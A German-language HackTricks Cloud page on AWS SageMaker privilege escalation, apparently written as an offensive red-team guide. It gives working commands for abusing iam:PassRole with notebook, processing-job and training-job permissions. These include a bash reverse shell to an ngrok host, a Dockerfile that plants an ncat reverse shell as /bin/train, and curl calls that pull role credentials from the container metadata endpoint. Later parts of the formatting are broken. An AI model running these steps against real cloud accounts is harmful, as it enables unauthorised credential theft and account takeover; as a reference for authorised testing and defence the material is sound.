AWS - Sagemaker Privesc

AWS - Sagemaker Privilegieneskalation

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Beginnen Sie mit der Erstellung eines Notebooks mit der IAM-Rolle, die darauf zugreifen kann:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Die Antwort sollte ein NotebookInstanceArn Feld enthalten, das den ARN der neu erstellten Notebook-Instanz enthält. Anschließend können wir die create-presigned-notebook-instance-url API verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notebook-Instanz zuzugreifen, sobald sie bereit ist:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigieren Sie zur URL mit dem Browser und klicken Sie oben rechts auf "Open JupyterLab", scrollen Sie dann zum Tab "Launcher" und klicken Sie unter dem Abschnitt "Other" auf die Schaltfläche "Terminal".

Jetzt ist es möglich, auf die Metadatenanmeldeinformationen der IAM-Rolle zuzugreifen.

Potenzielle Auswirkungen: Privilege Escalation zur angegebenen Sagemaker-Service-Rolle.

sagemaker:CreatePresignedNotebookInstanceUrl

Wenn bereits Jupyter-Notebooks darauf ausgeführt werden und Sie sie mit sagemaker:ListNotebookInstances auflisten können (oder sie auf andere Weise entdecken). Sie können eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potenzielle Auswirkungen: Privilege Escalation zum Sagemaker-Dienstrollenanhängen.

sagemaker:CreateProcessingJob,iam:PassRole

Ein Angreifer mit diesen Berechtigungen kann Sagemaker anweisen, einen Verarbeitungsauftrag auszuführen mit einer Sagemaker-Rolle daran angehängt. Der Angreifer kann die Definition des Containers angeben, der in einer AWS verwalteten ECS-Konto-Instanz ausgeführt wird, und die Anmeldeinformationen der angehängten IAM-Rolle stehlen.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potenzielle Auswirkungen: Privilege Escalation zum angegebenen Sagemaker-Service-Rolle.

sagemaker:CreateTrainingJob, iam:PassRole

Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, der einen beliebigen Container ausführt, der mit einer Rolle verbunden ist. Daher kann der Angreifer die Anmeldeinformationen der Rolle stehlen.

Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image generieren müssen, das die Reverse-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Potenzielle Auswirkungen:** Privilege Escalation auf die angegebene Sagemaker-Service-Rolle.

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen **Hyperparameter-Abstimmungsjob** zu erstellen, **einen beliebigen Container darauf auszuführen** und ihm eine **angehängte Rolle** zuzuweisen.\
_Ich habe es nicht ausgenutzt wegen Zeitmangels, aber es sieht ähnlich aus wie die vorherigen Exploits, fühlen Sie sich frei, einen PR mit den Exploitationsdetails zu senden._

## Referenzen

* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>

Last updated